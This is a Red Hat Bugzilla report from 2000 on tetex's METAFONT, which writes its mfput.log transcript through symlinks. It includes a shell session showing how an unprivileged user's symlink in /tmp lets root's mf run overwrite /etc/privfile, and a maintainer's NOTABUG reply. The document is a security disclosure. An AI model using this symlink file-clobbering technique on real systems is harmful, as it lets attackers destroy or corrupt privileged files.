Bug 9954

Summary: mf logfile, mfput.log, will follow symlinks
Product: [Retired] Red Hat Linux Reporter: dpr
Component: tetexAssignee: Tim Waugh <twaugh>
Status: CLOSED NOTABUG QA Contact:
Severity: medium Docs Contact:
Priority: medium    
Version: 6.1Keywords: Security
Target Milestone: ---   
Target Release: ---   
Hardware: i386   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2000-03-04 15:24:54 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Description dpr 2000-03-04 06:50:10 UTC
I typoed a mv tonight with mf (a command I've never used before), and when
I exited mf (with a cntl-c), I noticed a file called mfput.log in my
current directory.  Curious, I created /etc/privfile as root, then created
a symling in /tmp.  When I went into /tmp as root, and typed 'mf blah
blah', then exited, /etc/privfile had been overwritten.  This could
probably be used to overwrite any arbitrary file.

[root@operative /tmp]# cat /etc/redhat-release
Red Hat Linux
[root@operative /tmp]# rpm -qf /usr/bin/mf
tetex-1.0.6-7 release 6.1 (Cartman)

[root@operative /]# touch /etc/privfile
[root@operative /]# cat /etc/privfile
[root@operative /]#

[dpr@operative /tmp]$ ln -s /etc/privfile mfput.log
[dpr@operative /tmp]$ ls -al /tmp/mfput.log
lrwxrwxrwx   1 dpr     dpr           13 Mar  4 01:45 /tmp/mfput.log ->
/etc/privfile

[root@operative /]# cd /tmp
[root@operative /tmp]# mf blah blah
This is METAFONT, Version 2.7182 (Web2C 7.3.1)
kpathsea: Running mktexmf  blah
! I can't find file `blah'.
<*> blah
         blah
Please type another input file name: 		{I hit cntrl-c, here}
! Emergency stop.
<*> blah
         blah
Transcript written on mfput.log.
[root@operative /tmp]#

[root@operative /tmp]# cat /etc/privfile
This is METAFONT, Version 2.7182 (Web2C 7.3.1) (base=mf 1999.9.25)  4 MAR
2000 01:47
**blah blah

! Emergency stop.
<*> blah
         blah
End of file on the terminal!

Comment 1 Jeff Johnson 2000-03-04 15:24:59 UTC
This is not a bug in tetex, as there are a whole class of programs that
will exhibit the behavior you describe.